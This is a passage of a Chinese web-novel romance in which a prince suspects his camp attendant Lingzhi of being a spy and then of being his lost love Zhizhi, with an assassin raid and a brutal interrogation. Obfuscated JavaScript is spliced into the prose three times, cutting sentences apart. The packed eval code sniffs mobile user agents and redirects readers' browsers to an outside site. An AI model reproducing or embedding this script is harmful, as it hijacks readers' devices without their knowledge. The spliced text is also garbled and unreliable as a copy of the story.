他不说话沉着脸的时候活像讨债失败的债主,沈翩枝怵得慌。 她见李暄没阻止,权当默许,迫不及待脚底抹油开遛。 临走前,还不忘同曹昱悄悄做了个口型道别,后者冲她俏皮眨了眨眼。 李暄面色愈发沉冷,几日光景,他们怎地如此相熟。 眼神示意曹昱跟他进帐篷,盘问连日试探所得。 曹昱连连摇头,为沈翩枝辩解:“依臣看,她绝非奸细。我特意将城防图摆在显眼之处,她数次途经,非但未曾有窥探之心,还险些随手拿去引燃篝火。” 李暄蹙眉反驳:“难保不是刻意装出来迷惑你的。” 曹昱摆手,“她闲暇时教营中孤童识字,屡屡写错字句,太子不会派一个连字都认不全的人当卧底。再者我观她心性温软,陪一众稚童朝夕相伴,任凭他们哭闹嬉闹,始终耐心安抚。” 这群闹人精正处在猫嫌狗厌的年纪,换做是他早就拍桌子骂人。 他怕李暄不信,又说了一件事:“前几日有个丫头突发高热,营中药物短缺,眼看回天乏力,是她昼夜寸步不离看护,又是擦拭四肢降温,又是用小竹管一点点喂温盐水,硬生生从鬼门关把孩子救回。” 太子麾下个个心狠手冷,宁为玉碎不为瓦全,绝不会耗费心神在一个没有价值的孤儿身上。 李暄眼眸微怔,嘴上却不肯松口:“不过相处数日,你嘴里尽说她的好话,莫不是被她的皮相勾了魂去?” 曹昱大喊冤枉,委屈道:“不是王爷您让我回来试试她的底,看能不能套出些太子的消息。” 忆起方才二人并肩说笑、距离不过咫尺的亲昵,李暄冷嗤了声:“我没让你出卖色相。” 曹昱大惊,竟不知在秦王眼里他还有姿色可言。 李暄忽而转了话锋:“她可曾问及枝枝旧事?” “问过了。臣依先前约定,告知她枝枝姐常年贴身佩戴一枚形制奇特的坠饰,如今此物收在殿下手中。” 李暄微微颔首。 早前柳公公禀明,沈翩枝借寄家书之名前往户曹查核原籍,他便看破她在暗中筹谋脱身,故而抛个饵继续牵制住她。 曹昱神色踌躇,迟疑半晌:“有一事,臣不知该不该禀。” 李暄斜睨他一眼:“少玩这套,不当说你就不该提。” 曹昱斟酌了下词句,“灵芝对您和枝枝姐的事好像有点误会,似乎认为你们二人两心相悦、情深不渝。” 这才是曹昱彻底排除沈翩枝卧底身份的关键因素。 他偶然得知李暄对枝枝姐的爱恋都是他的一厢情愿,枝枝姐从未对他动心过。 这件事算不得有多隐秘,倘若灵芝是太子派来接近李暄的卧底,如此关键的信息不可能不告诉她。 曹昱还有话没说,灵芝不仅误会他们的关系,还曾隐隐透露李暄是个表里不一的伪君子,面上端的一本正经,背地里尽是难以启齿的花招。 当时他反应过来灵芝指的是哪当年的事后错愕不已,这位素来不近女色、常年清修似苦行僧的秦王哪里懂半分风月手段。 他怀疑李暄甚至没亲过女人的嘴。 李暄轻笑了一下,笑声凉丝丝的,周遭空气瞬时凝起寒意。 曹昱连忙岔开话题:“对了,臣顺手帮殿下解决了一桩麻烦事。” 灵芝逮着机会就向他打探李暄的喜好,看起来痴恋李暄,不可自拔。 曹昱知道李暄厌避女子近身,不想灵芝因此丢了性命,于是故意吓唬她,说从前有投怀送抱,近身攀附的女子不乏被断手剜目、鞭笞斩首的,灵芝当场白了脸。 他想起那日看见帐篷里的满地铃铛,自觉做了件好事,冲李暄咧嘴道:“我特意点明殿下最恨女子私自爬床。您放心,灵芝今后绝不敢碰您一根手指头。” 李暄总算找到灵芝今夜反常的原因,心里莫名松了口气,脸上却面无表情道:“那本王还得谢谢你替我解决了个大麻烦。” 曹昱讪讪一笑,挠了挠后脑勺,连道两声“不敢”。 几日相处下来,他瞧灵芝十分顺眼,性子好,手脚勤,尤其是对那群半大孩子,耐心足得叫他这个粗人都觉着稀罕。 他心里的小算盘拨得噼啪响,万一哪日灵芝纠缠李暄时惹怒他被杀了,谁来替他哄这群小兔崽子们。 帐内二人接着商议赈灾与暗查太子之事。 另一边,沈翩枝端着热水行至主帐外,被守门侍卫拦下,她乐得省事,将水盆转交兵卒,转身往孩童暂住的营帐走去。 比起习惯隐藏情绪的大人,沈翩枝更喜欢和孩子们待在一起。 前世确诊心脏病后,家里人对她总是小心翼翼。没人敢在她面前提病情,更不敢提生死,仿佛那些字眼一旦出口,就会变成现实。 她知道家人是怕她伤心难过,所以也不敢流露脆弱,只能装作乐观。 双方如履薄冰,家里常年萦绕着一种诡异沉抑的氛围。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17594823|204188||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直到一次去幼儿园做志愿者,她心脏不适发作,孩子们得知的病后围着她问东问西。 她第一次坦然提起自己的病:“说不定哪天就会死,我自己也不知道。” 天真烂漫的孩童还不懂死亡的沉重。 “哇,那每天过日子像抽盲盒,好酷。” “等你重新活过来,是不是就可以换一个好的心脏了。” 沈翩枝抚上心口,感受掌心之下平稳有力的心跳,脚步轻快地往孩子们的帐篷里钻。 帐内,李暄与曹昱正谈及永泰商行满门被灭口一事,忽闻帐外喧哗,士兵们叫嚷有刺客闯入。 二人对视一眼,神色平静,谁都没动。 太子的人终于按捺不住出手了。 早前流言四起,李暄刻意置之不理,便是想引潜藏在暗处的桩子主动露头。 他们的目标无非就两个,要么刺杀官吏,事后将督办灾情不力的罪名扣在李暄身上。要么干脆杀了李暄以绝后患,再嫁祸给心怀怨怼的灾民。 两人觉得前者可能性更大,毕竟李暄是已故太子唯一血脉,安危兹事体大,对方若想动手不会选在天子眼皮底下。 耳畔兵刃喧哗声阵阵,曹昱听着动静,忽然问:“说来我有一事不明。散布流言未必要用灵芝做噱头,你大费周章把人从京城秦王府弄来荒郊大营,不会是想借太子的刀杀人吧。” 李暄沉默。 曹昱心道人家那么喜欢他,他也真够狠心的。 “糟了。”曹昱神色骤变:“我没调拨人手护卫灵芝安全。” 李暄倏地站起来,脚步刚一挪动又收回来,笃定道:“她不会有事的。” 灵芝明面上仍是太子安插的眼线。 外头高声喝喊道:“刺客往东南方向去了,大伙围上去。” 曹昱着急道:“孩童们的营帐就在那处,灵芝肯定守在里面。” 他话音未落,李暄身影已然掠出帐门,疾步狂奔而去。 数名假扮灾民的刺客手持刀剑闯入营中,最初引发了些混乱,但早已部署好的巡营士兵迅速结阵围堵,一炷香内便控制住局面,仅剩最后一条漏网之鱼逃了出去。 沈翩枝听见外头捉拿刺客的动静,当即沉声叮嘱一众孩子们保持沉默,万万不可擅自外出。 她清点人数时却发现少了一名叫小安的男童,着急追问之下,才知小安方才独自出帐取水。 她悄悄掀开帐帘一角,一眼看见男孩孤立无援地站在空地上,一动不动,神色惊慌,她心里着急却不忘回头先安抚帐篷内的孩子们乖乖呆着等曹将军过来。 紧接着她瞅准时机,快步冲出营帐。 营地里有许多几丈高的木架,上方点着篝火用以照明。 逃窜的刺客慌不择路,一路撂翻地上堆放的粮袋、炊具,这些东西滚落一地,混乱中被人踩中。一个不察,有人不小心撞上木架,木头歪斜,正摇摇欲坠地往一边倾。 沈翩枝赶过去的时候刺客已经被抓住,但小安旁边的木架眼看就要砸下来。 被一人粗的巨木砸中,不死也要重伤,她想也没想地张开双臂把小小的身子牢牢护在怀里。 这一幕骤然撞入李暄的视线。 眼前一晃,浮现昔年枝枝亦是这般俯身环住年幼的他,以身硬挡下宫人挥动的藤条。 李暄的身体比意识更先一步作出反应,他快步上前,伸手将人揽入怀中,准备挺身去扛倾倒的木梁。 曹昱紧随其后,见此情景一言不发,孤身一人默默支撑起飘摇的巨木。 15.第 15 章 喧哗渐渐平息,一众刺客被绳索捆缚押了下去,营地重归沉寂。 沈翩枝闭紧双目,屏住呼吸,将怀中的小安牢牢护在身下。 预料中的疼痛虽迟迟没来,但她快要被勒得喘不上气儿了。 李暄的双臂如两道生铁铸就的绞索,自她肩膀两侧悍然穿过,将她整个人连同怀里的孩子一道箍进怀中。他力道大得出奇,像是要将她揉碎嵌进骨头里。 两人隔着厚重冬衣紧紧相贴,他沉稳急促的心跳和粗重的喘息一下一下撞进她的耳朵里,逼退风雪裹挟的冷意。 沈翩枝为了保护小安不受挤压,不得不使出浑身的劲抗住他的力,然而越挣扎,他的怀抱便收得越紧,压迫越强。 就在她两股战战、气力渐渐透支之际,身后传来一声疲惫的幽幽哀叹。 “秦王殿下,灵芝姑娘,能否请二位挪动尊脚,臣快撑不住了。” 曹昱孤身以肩扛住摇摇欲坠的粗木,额上青筋肉眼可见,整张面庞涨得通红。 他咬紧后槽牙在心里骂骂咧咧,这俩人莫不是被雷劈傻了,一动不动比他手里的还像木头。 李暄身体一僵,猛地松开沈翩枝,仓促连退数步。 力道骤然失衡,沈翩枝脚下一滑,眼看要栽进雪里,下意识伸手去抓什么稳住身形。 李暄急忙探身去拉她,指尖即将触及她手腕的那一瞬,又猛地缩回去。 沈翩枝背对着没瞧见,她怀里的小安将这一幕看得清清楚楚。 她摔倒在地,好在积雪松软,冬日又穿得厚实,倒也没伤着,只是被小安压得有些窒息。 他虽是个半大的孩子,但分量不轻。 李暄几乎是在她倒地瞬间便上前一步,揪着小安的后领一把将人提起来放在身侧,动作干脆利落。 轮到沈翩枝,他却只将随身佩剑的剑鞘伸到她眼前,态度冷漠疏离,俨然生怕与她有半分肢体触碰。 沈翩枝极有骨气地不去借他的力,自己撑着雪地爬起来,站稳后脸偏向一旁,看也不看他那副嫌弃的嘴脸。 曹昱揉着酸胀的肩膀走过来,没注意到两人之间的凝滞气氛,问他们有没有受伤。 沈翩枝目不斜视走到小安身边,弯腰仔细检查他的身子后,低声说了句没事。 李暄闻言悄然松了口气,然而站了半晌也没等来沈翩枝一个眼神,余光瞥见她微微抿白的唇,握着剑鞘的手指不自觉收紧。 “我还有公务,此处交给你处置。”他冷冷丢下一句话,转身径直离去。 曹昱丈二和尚摸不着头脑,看着李暄离开的背影嘀咕道:“谁又惹到他了。” 沈翩枝垂着眼,心想他定是恼她不识好歹,这才怒而离去。 她也生气被人当瘟疫般对待,但她不想纠结,于是深吸一口气,压下心头的愠怒,扶着小安的肩膀向曹昱道谢。 曹昱握拳,亮出结实臂膀,朗声道:“不过区区一根木头,不在话下。” 好似忘了刚才扛不住要求助的模样。 沈翩枝被他逗笑了,因李暄产生的郁闷消散大半。 “秦王这人就是性子冷了点,但心还是好的。”曹昱替不懂事的表弟说好话:“你瞧他方才把你们护得多紧,若那木头当真砸下去,定要受重伤。” 沈翩枝想到那个炙热坚定的怀抱,决定大人不计小人过,原谅他的无礼。 一直安静缩在她身边的小安忽然脆生生道:“但我看见,秦王殿下已经伸手去抓灵芝姐姐,临到头手又缩回去了。” 沈翩枝气得眼睛红了。 她是小人,只记仇不记恩,绝不原谅李暄。 从今往后,世间再也没有痴恋秦王的灵芝,只有被他伤透了心,断爱绝情的灵芝。 * 李暄既回营,她不能再去主帐睡觉,更不想再去看李暄嫌弃她的嘴脸,于是央求曹昱替她去取落在帐中的物件。 实际上她是心虚不敢面对李暄,一是她不打招呼就鸠占鹊巢睡了他的床,二是擅自做主将附近采的梅花私放在他的地盘上。 小荷说过李暄不喜欢花的味道,但帐篷里总是弥漫着些阴冷的潮气,梅香恰好能够掩盖。 沈翩枝不是委屈自己的人,所以趁人不在把帐篷拾掇成她喜欢的样子。 曹昱入帐取物时李暄拿着本书坐在椅子上看,自始至终未曾抬眼。 可帐中气氛压抑,后背总感觉有一双阴恻恻的眼睛盯着,让人头皮发麻。他不由加快手中动作,着急之下不小心漏掉压在被褥里的一件短衣。 他手里大部分都是灵芝帮孩子们缝补好的衣物,针脚虽说算不上细密,但胜在巧思,有好些曹昱没见过的花纹样式,瞧着怪新奇的。 李暄余光注视着属于灵芝的东西一件件消失,偌大的营帐一点点空旷,连温度都似冷了几分。 灵芝私自住进主帐之事,他当日便已知晓,彼时忙于赈灾救险,无暇顾及这等小事,只觉她胆大包天,回来定要给她点颜色瞧瞧。 谁料又逢刺客作乱,此事便一再搁置,现下她如此识趣离开,他便懒得追究了。 曹昱光顾着逃离这令人窒息的空间,没注意到李暄手里的书是倒着拿的。 人一走,帐中彻底静了下来。 李暄没了看书的心思,随手将书扔在案几上,走至榻上躺平。 刚闭眼,他鼻尖隐隐闻到一丝若有似无的花香。 睁开眼,一束白梅映入眼帘。 几枝花被绳子吊起来,随手挂在帐篷边上。花是几天前摘的,花瓣边缘微微泛黄,与灰白的布堆在一起,在昏暗的灯影下一晃眼过去难以察觉。 李暄拧眉,起身正要取下,眼前莫名浮现灵芝护着小安的身影,不够高大的身躯却将怀中的孩子护得严严实实。 曹昱有一点说的没错,灵芝的心肠不坏,当初对小竹也下不了死手。 李暄又躺回去,扯过被褥盖过头,隔绝花香。 一件粗糙的衣服顺势落在他的侧颈,他也没在意,随手塞到犄角旮旯里,翻了个身,闭目养神。 接下来的几日,沈翩枝有意避开李暄,远远看见他便绕道走,一副老鼠见了猫的鬼祟样。 数次过后,李暄心情愈发烦闷,但他把坏心情归咎于那个嘴硬的刺客。 太子近年来愈发势大,六部几乎都有他的人,但皇帝留了一手,兵部仍在李暄的掌控之中,守卫京畿的将领亦是皇帝的心腹。 皇帝明面上希望太子和李暄是关系亲密的叔侄,不要因已故太子之事伤了情分。 但李暄心里清楚,当年他能破格提拔成亲王是皇帝需要一个人制衡太子李玠,他作为已故太子的唯一血脉是最好的人选,他的背后有父亲的旧部,母亲的娘家曹氏。 大营西南靠近雪山的一侧有个天然洞穴,刺客们被关在此处,但只有一个活口,其余刺客尽数咬破牙齿里藏的毒药,当场毙命。 曹昱看见李暄前来,停下手中的鞭子。 空气里弥漫着难闻的血腥气,李暄握住剑鞘抬起刺客垂下的脑袋,冷声道:“还不肯承认是太子派你们来的?” 刺客满脸血污,笑了一声:“秦王殿下,我不认识什么太子,我……啊!” 李暄直接削掉他的右耳,“你的耳朵没什么用,听不清我的话。“ “刺客气息断断续续,却仍然否认:“不认识。” 一旁的曹昱忍不住心惊,他们不是第一次抓到太子的卧底,大部分都会在被捕第一时间找机会自尽。 活下来的无论施加多少酷刑,未有一次让人成功开口,他们宁可死也不愿意背叛太子,也不知道李玠给他们灌了什么迷魂药,竟让人如此死心塌地。 李暄又削掉他的左耳,刺客除了撕心裂肺的哭喊,就是不肯指 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17600290|204188||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 认太子。 “杀了我吧,杀了我吧。” 李暄的剑重新入鞘,面无表情道:“也好,过几日便是除夕,你死了正好和你妹妹在地下团聚。” 刺客的声音戛然而止,旋即激动起来:“你胡说,我妹妹好好的。” 李暄往他身上扔了一只玉镯,玉镯落地,滚进石缝里,隐隐露出一点墨色。 “你,你把我妹妹怎么了?”刺客咬牙咒骂:“你要是敢动她,我做鬼也不会放过你!” 李暄上前一步,刚好挡住玉镯,“太子知道你落在我手里,一把火烧了你家。我的人赶到时只在废墟里捡到这只玉镯。” 刺客大叫着他不信,太子答应过会保护好他妹妹。 李暄指着洞里的其他尸体,“他们死之前都以为太子会兑现承诺”,但人死了,又怎么能知道呢?” 刺客依旧不信。 李暄不再多费唇舌,吩咐看守的士兵:“下次他再闹着死,直接结果了扔进山里。” 他说完,毫不留恋地转身离开。 曹昱跟了上去,等走出山洞的范围才问李暄如何得知他有个妹妹。 “我编的。” 曹昱惊奇:“为什么不是弟弟或者姐姐,手镯又是怎么回事?” 李暄丢给他一个荷包,是从刺客身上搜到的。 “上面绣了个手镯,我猜有可能是他送给妹妹的礼物。” 那荷包的针脚歪歪斜斜,绣线收得毛糙,一看便不是市卖之物。既非买来,便是旁人相赠。 能让他日日贴身带着,此人与他的关系匪浅。而上头绣的图案稚拙,配色潦草,不像成年女子的手笔,他便推算,做这荷包的人,年岁应当不大。 曹昱举起来左看右看,实在是没看出来锦缎上诡异的绿圈是玉镯,忍不住揶揄:“这绣工跟灵芝有得一比。” 骤然听见这个名字,李暄冷不丁愣了下,回神后语气不善:“好好的,提她做什么?” 曹昱以为李暄不喜的是灵芝主动纠缠于他,赶紧趁机带话:“灵芝这几日跟我说了,自觉地位卑微配不上您,从前种种都是她的痴心妄想,今后再也不会对您做出逾矩之事。” 仿佛为了印证曹昱的话,沈翩枝恰好出现在两人眼前。 她提着一个篮子在雪地里走着,身上穿的是件半旧的袄子,底下是条石青色棉裙,裙角沾染上些雪沫。通身上下不见半点鲜亮颜色,非但没有将她艳丽的五官压下去,反倒衬得双唇格外惹眼。 没有点胭脂的唇偏叫寒风冻出了一层薄红,清清淡淡像冰镇过的梅子冻,莹莹的,微微泛着水光。 李暄喉咙滚了滚。 沈翩枝也瞧见了他们,隔着老远的距离,迎风微微福身以示见礼,随后便快步往东南方向离开。 李暄的目光一直追随着那抹鲜润的红色,直到消失在帐篷里。 曹昱啧了声,“神女有意,襄王无心,可惜咯。” 李暄眉头紧皱,言不由衷道:“你这么喜欢不如娶了她。” 曹昱想了想,拍手道:“好啊,我还真挺喜欢灵芝的。她样貌好,脾气好,就是出身不高……” 李暄的唇平直成线,大步往前走,把烦人的声音甩在后面。 曹昱三两步赶上他,兴奋道:“我有办法了,你认她做义妹,怎么样?” 李暄停下来,面对比他高半个头的壮汉,气势瘆人道:“你想得美。” 曹昱打趣他:“怎么,又舍不得了?” “她是陛下赐的侍寝女官,去留不是我能……”够决定的。 李暄的视线不经意瞥见曹昱的袖口,一颗灰色的,拇指大小的桃心贴在上面。 一贯沉静的眼眸骤然收缩,嘴里的声音悄然湮灭。 他猛然攥住曹昱的手,语气尽可能平静:“这是什么?” “灵芝说叫桃心。” 16.第 16 章 主帐是整个营地最亮的地方。 李暄独坐案前,垂眸敛眉盯着书卷,长睫在书卷上投下浓重阴翳,浑然不觉半个时辰里未翻动一页。 柳公公也不敢提醒,躬身垂头在一旁,余光却忍不住一而再,再而三地偷觑主子。 自从外面回来后,整个人仿佛丢了魂似的,他从未见过殿下这般模样,但他推测十有八九与灵芝相关。 前几日秦王在睡梦中叫了灵芝的名字,失魂落魄的表情与现在如出一辙。 柳公公跟在李暄身边已有五年,是建府两年后才被提拔重用的,平日里见的最多的是主子不苟言笑地沉肃模样,眉眼间沉甸甸的,好像心里总压着事儿。 他知道殿下一直在找人,听他的干爹房公公说是在找一个叫枝枝的女人。 柳公公没见过枝枝本人,却从干爹房公公口中听过无数关于她的事,深知她对殿下影响之深远。 但枝枝已经死了,死人如何能复生。 殿下去年及冠,今年眼见又要过去,他一直拖着不肯成婚,膝下无子。追随秦王府的众部下惶惶难安,生怕哪一日太子刺杀秦王成功,他们全部没了指望。 尤其是近两年,明里暗里打听秦王喜好的人络绎不绝,颇有种只要秦王肯成亲生子,绝不在乎对方身份地位的架势。 柳公公心里是感激灵芝的,她的出现不仅让皇宫里的两位贵人消除对秦王的不满,还间接稳定了军心。 哪怕两人是假的。 但灵芝是这么多年来唯一一个与殿下同寝的人,哪怕没有睡在一张榻上,都足以让柳公公对她刮目相看。 还是秦王主动要求的! 李暄终于有了动作,他让柳公公打来一盆凉水,单手一掬,混掺碎雪一同扑在脸上。 刺骨的寒凉终于让他脑子清醒几分,麻痹的思绪开始运转。 灵芝说的是桃心,枝枝说的爱心。 她们皆为外来者,都知道这个图案并不稀奇,不能只凭借这个就认定她们是一个人。 然而他脑海中不由自主地比较曹昱袖口上的针脚与枝枝给他缝补的是否一致。 他记不清了。 李暄双手撑在盆架两侧,闭眸急促喘息着。 他怎么能忘记。 李暄双手捧起凉水猛然往面颊泼,冰凉的水打湿鬓发,浸透衣领,还有一些顺着脸流进胸口,他像不知寒冷般一下又一下扑在脸上。 转眼间一盆水见了底,李暄却觉得还不够,又叫柳公公出去换一盆。 柳公公上前端盆,目光低垂,不敢窥见主子的狼狈之态。 他回来时还带了一个人。 曹昱大步流星走进来,一入内便觉得比外面的雪地还冷上三分,目光扫过打湿的地面,李暄苍冷的面色,疑惑地在他脸上逡巡。 李暄见他进来也没问缘由,淡淡道:“来的正好。” 曹昱与柳公公对视一眼,抱拳问:“秦王有何事吩咐?” 李暄黑眸沉沉盯着他的袖口,言简意赅道:“脱衣服。” 曹昱大惊失色。 九尺余高,力能扛鼎的魁梧汉子双手交叉环抱在前胸,声音颤颤:“殿下,我的心可以给你,但身子不行!” 李暄懒得与他插科打诨,示意柳公公去扒他的衣服。 曹昱嘴上说着不要,身体诚实地配合,脱完大氅、外裳,正要脱里衣时被李暄制止。 “够了。“ 曹昱满脸不可置信,灵芝说的竟然是真的,他喜欢穿着衣服来! 李暄十分无情,翻脸不认人地赶他走。 曹昱一边委屈巴巴一步三回头往外走,一边顺走李暄价值不菲的黑貂裘。 柳公公心道曹将军跟灵芝混了几天后,怎么变得疯疯癫癫的。 李暄攥住袖口,目光直勾勾落在灰色桃心上,似要看出个洞来。 “小柳,你立刻回府取我枕边的月白旧衣来,不得假手任何人,顺便再找个精通刺绣的绣娘一同带过来。” * 怀疑就像一枚种子,一旦落了地,便往心里扎根。 接下来的几日,李暄开始刻意寻找灵芝的踪迹。 他频繁地出现在孩童们的帐篷附近,有时借着巡视的名义,有时装作恰好路过。可每一次,她都像提前嗅到风声的猫,早在他出现之前就没了踪影。 一次两次他还能用巧合形容,第三次第四次时他已经确定灵芝在有意躲他。 另一边也不顺,王府那边出了点事,柳公公要晚两天才到。 李暄郁闷地拿起曹昱的袖子,与从床榻上找到的短衣并排放在案几上,拇指来回摩挲着心形花纹。 两件衣裳上的针脚密度,转角处理,与打结习惯几乎一模一样,必定出自同一个人的手。 灵芝会是枝枝吗? 灵芝贪生怕死,油嘴滑舌,又好逸恶劳,最近又添了个勾三搭四的劣行,处处都与枝枝相去甚远。 可念头辗转,偏又不由自主搜罗起二人重合的蛛丝马迹。 同是异世来客,通晓一模一样的异域语言,还有那首情诗…… 倘若她真是枝枝,那为什么不肯与他相认? 李暄想不通。 忽地想起这段时间以来对灵芝的嫌弃,是不是因为这样她才不肯跟他相认,甚至还要逃离他。 一念及此,他坐不住,起身往外去寻灵芝的下落。 营地附近的山坳里有几株野梅花,沈翩枝最近常在这里躲开李暄,顺便摸清楚附近的地形路线。 她不想扮演他的宠姬了,半点好处没有,还得被他羞辱。 拉她起来都得用剑鞘,她不要面子啊。 从前在王府,人处屋檐下不得不低头,如今在外面,她有机会天高任鸟飞。 绕了山谷几圈,天空开始飘雪,沈翩枝摘下几枝头梅花就往营帐跑,恰巧被在附近找她的李暄撞见。 他一闪身借助枯木挡住身形。 沈翩枝没看见,径直往里跑。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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李暄冷冰冰表示有公务在身,先行一步。 曹昱哪里肯让他走,硬拖着人绕道门帘后,指向一个拳头大小的洞。 洞的另一侧挂了几只倒垂的梅花枝,虽能挡住大部分风雪,却仍有缝隙,比在门帘偷看更为隐蔽。 这边离灵芝更近,他能清晰地辨出她的声音。 此时灵芝手里正飞速编着一个几乎成型的花环,而她对面的小女孩松开了布条。 李暄看见小女孩脸上有道新结痂的划痕,从颧骨一直拉到下颌,样子十分狰狞。 她局促地低着头,不敢看人。 灵芝编好花环,轻轻放在小女孩头上,眉眼弯弯如天边新月。 “你看,头上开花了,真漂亮!” 李暄瞳孔一缩,僵在原地。